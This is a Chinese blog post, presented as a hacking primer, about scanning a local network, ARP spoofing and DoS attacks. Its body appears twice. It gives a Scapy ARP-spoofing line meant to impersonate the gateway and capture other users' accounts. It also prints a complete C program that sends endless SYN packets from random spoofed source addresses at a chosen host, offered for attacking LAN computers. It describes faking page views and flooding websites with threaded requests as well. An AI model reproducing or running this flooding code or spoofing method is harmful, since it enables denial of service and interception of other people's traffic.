查询局域网电脑的IP,端口号,MAC地址(黑客技术入门)
2016-07-19 13:00
507 查看
网上看到很多都是使用nmap工具,这个工具我没有使用过,我自己实现nmap工具的功能,首先我们查询局域网内有哪些电脑是alive的,下面我写了一个脚本:
ping.sh
这样局域网内哪些电脑的ip是alive的就可以知道,下面来查看对于IP的MAC地址,使用cat /proc/net/arp 命令:
然后在使用netstat -an命令来分析端口号。
这样我们就轻松获取了局域网内所有电脑的信息,这时候我们使用网络编程,破坏三次握手协议去攻击电脑,或者获取抓包数据等,也可以通过ARP欺骗等手段。
查看结果分析:
Proto Recv-Q Send-Q Local Address Foreign Address State
Local Adress代表本地开放的端口,
Foreign Adress代表的是外网的地址,
State代表的是状态。
Foreign Adress代表连接外网的地址。比如说登录QQ的服务器或者打开网页时都会显示不同的IP地址。
listening代表正在监听的端口
Established表示已激活的IP和端口
wait表示正在等待监听
方法二、采取ARP攻击,这个方法比较简单,但是实用。
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=)/* psrc填网关,pdst可以指定某一个IP或者广播(255),hwsrc随便构造,这样我们把自己的电脑模拟成了网关或者路由器,1s发一次包,局域网内其他电脑上网提交的数据就全部提交到我们这儿,他们是不能上网的,或者让他们上网,但是数据必须经过我们电脑,我们就可以抓包数据了,想一些账号,QQ,微信这些事可以抓取到的,但是密码就是乱码,这个有他们自己的加密机制,账号没有加密。反正思路就是这样 */send(arp) /* cat /proc/net/arp 广播时候,执行该命令局域网内所有的电脑信息都会呈现给我们,这就是ARP协议的BUG,TCP就是三次握手协议 */
方法三、Dos与DDOS攻击
DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
DDOS:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。
伪造IP就是常见的DDOS手段,学习的知识是很多,需要各位朋友自己去挖掘
下面是我写的一个代码,可以攻击局域网内电脑:
main.c
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
void send_data(int sockfd,struct sockaddr_in *addr,char *port);
unsigned short check_sum(unsigned short *addr,int len);
// ./argv[0] des_hostname/ip des_port local_port
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=4)
{
fprintf(stderr,"Usage:%s des_hostname/ip des_port local_port\n",argv[0]);
exit(EXIT_FAILURE);
}
memset(&addr,0,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(EXIT_FAILURE);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
addr.sin_port=htons(atoi(argv[2]));
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(EXIT_FAILURE);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
send_data(sockfd,&addr,argv[3]);
}
void send_data(int sockfd,struct sockaddr_in *addr,char *port)
{
char buffer[100];
struct iphdr *ip;
struct tcphdr *tcp;
int head_len;
head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
bzero(buffer,100);
ip=(struct iphdr *)buffer;
ip->version=IPVERSION;
ip->ihl=sizeof(struct ip)>>2;
ip->tos=0;
ip->tot_len=htons(head_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr = addr->sin_addr.s_addr;
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(atoi(port));
tcp->dest=addr->sin_port;
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;
tcp->check=0;
while(1)
{
ip->saddr=random();
tcp->check=0;
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in));
}
}
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
下面在提供一些黑客技术的入门:
各大博客刷访问量的实现:首先使用Fiddler4抓取header信息,然后使用python构造header,ip等就可以轻松实现,本人各大博客,QQ空间刷赞,网页投票链接都测试过,非常实用。具体代码我就不上传上来了。也可以在Linux下使用tcpdump来抓包分析,抓包是讲究技巧的,这个手段是大量黑客长使用的方法。
攻击网页就更简单了,在python中使用不断请求,打开,采取多线程编程可以造成网络拥堵,来达到攻击的目的。如果是想黑掉整个服务器,请才用dos抓取肉鸡的方式,首选得获取到管理员权限(这个是难点)。
python入门比较简单,简单的网络 攻防是可以实现的,Linux C网络编程效率更高,但是同时也更加复杂一点,我是一个非常痴迷Linux操作系统的程序员,不喜欢用windos,我对图形界面的东西不太感冒。
年轻就是资本,有的是时间和青春去挥霍,去学习技术。
不要把这些技术用到不正当的场合,开心一下就行。
我喜欢程序员,他们单纯、固执、容易体会到成就感;面对压力,能够挑灯夜战不眠不休;面对困难,能够迎难而上挑战自我。他们也会感到困惑与傍徨,但每个程序员的心中都有一个比尔盖茨或是乔布斯的梦想“用智慧开创属于自己的事业”。
ping.sh
这样局域网内哪些电脑的ip是alive的就可以知道,下面来查看对于IP的MAC地址,使用cat /proc/net/arp 命令:
然后在使用netstat -an命令来分析端口号。
这样我们就轻松获取了局域网内所有电脑的信息,这时候我们使用网络编程,破坏三次握手协议去攻击电脑,或者获取抓包数据等,也可以通过ARP欺骗等手段。
查看结果分析:
Proto Recv-Q Send-Q Local Address Foreign Address State
Local Adress代表本地开放的端口,
Foreign Adress代表的是外网的地址,
State代表的是状态。
Foreign Adress代表连接外网的地址。比如说登录QQ的服务器或者打开网页时都会显示不同的IP地址。
listening代表正在监听的端口
Established表示已激活的IP和端口
wait表示正在等待监听
方法二、采取ARP攻击,这个方法比较简单,但是实用。
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=)/* psrc填网关,pdst可以指定某一个IP或者广播(255),hwsrc随便构造,这样我们把自己的电脑模拟成了网关或者路由器,1s发一次包,局域网内其他电脑上网提交的数据就全部提交到我们这儿,他们是不能上网的,或者让他们上网,但是数据必须经过我们电脑,我们就可以抓包数据了,想一些账号,QQ,微信这些事可以抓取到的,但是密码就是乱码,这个有他们自己的加密机制,账号没有加密。反正思路就是这样 */send(arp) /* cat /proc/net/arp 广播时候,执行该命令局域网内所有的电脑信息都会呈现给我们,这就是ARP协议的BUG,TCP就是三次握手协议 */
方法三、Dos与DDOS攻击
DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
DDOS:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。
伪造IP就是常见的DDOS手段,学习的知识是很多,需要各位朋友自己去挖掘
下面是我写的一个代码,可以攻击局域网内电脑:
main.c
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
void send_data(int sockfd,struct sockaddr_in *addr,char *port);
unsigned short check_sum(unsigned short *addr,int len);
// ./argv[0] des_hostname/ip des_port local_port
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=4)
{
fprintf(stderr,"Usage:%s des_hostname/ip des_port local_port\n",argv[0]);
exit(EXIT_FAILURE);
}
memset(&addr,0,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(EXIT_FAILURE);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
addr.sin_port=htons(atoi(argv[2]));
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(EXIT_FAILURE);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
send_data(sockfd,&addr,argv[3]);
}
void send_data(int sockfd,struct sockaddr_in *addr,char *port)
{
char buffer[100];
struct iphdr *ip;
struct tcphdr *tcp;
int head_len;
head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
bzero(buffer,100);
ip=(struct iphdr *)buffer;
ip->version=IPVERSION;
ip->ihl=sizeof(struct ip)>>2;
ip->tos=0;
ip->tot_len=htons(head_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr = addr->sin_addr.s_addr;
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(atoi(port));
tcp->dest=addr->sin_port;
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;
tcp->check=0;
while(1)
{
ip->saddr=random();
tcp->check=0;
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in));
}
}
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
下面在提供一些黑客技术的入门:
各大博客刷访问量的实现:首先使用Fiddler4抓取header信息,然后使用python构造header,ip等就可以轻松实现,本人各大博客,QQ空间刷赞,网页投票链接都测试过,非常实用。具体代码我就不上传上来了。也可以在Linux下使用tcpdump来抓包分析,抓包是讲究技巧的,这个手段是大量黑客长使用的方法。
攻击网页就更简单了,在python中使用不断请求,打开,采取多线程编程可以造成网络拥堵,来达到攻击的目的。如果是想黑掉整个服务器,请才用dos抓取肉鸡的方式,首选得获取到管理员权限(这个是难点)。
python入门比较简单,简单的网络 攻防是可以实现的,Linux C网络编程效率更高,但是同时也更加复杂一点,我是一个非常痴迷Linux操作系统的程序员,不喜欢用windos,我对图形界面的东西不太感冒。
年轻就是资本,有的是时间和青春去挥霍,去学习技术。
不要把这些技术用到不正当的场合,开心一下就行。
我喜欢程序员,他们单纯、固执、容易体会到成就感;面对压力,能够挑灯夜战不眠不休;面对困难,能够迎难而上挑战自我。他们也会感到困惑与傍徨,但每个程序员的心中都有一个比尔盖茨或是乔布斯的梦想“用智慧开创属于自己的事业”。
相关文章推荐
- Android性能优化之常见的内存泄漏
- LeetCode:Contains Duplicate系列
- Linux常用命令之(一)
- jdk1.5、1.6、1.7新特性详细介绍(整理)
- Android Activity切换动画 overridePendingTransition
- javascript中的闭包问题
- Git的错误error: Failed connect to github.com:443;解决办法
- 前台传过来的中文在数据库中搜不到结果的解决办法
- Qt-5.5.1 设置界面字体为微软雅黑
- 贪心算法
- hibernate参数设置
- windows下如何下载并安装Python 3.5.
- win32 DLL中创建的的对话框资源被应用程序调用无法识别的问题
- 安装wamp 缺少msvcr100.dll
- Centos是什么
- android studio 加入easeui后一直有错
- EL表达式的使用解析
- 微信开发 问题汇总
- OraOLEDB.Oracle找不到驱动问题
- 关于CPLD与FPGA的对比分析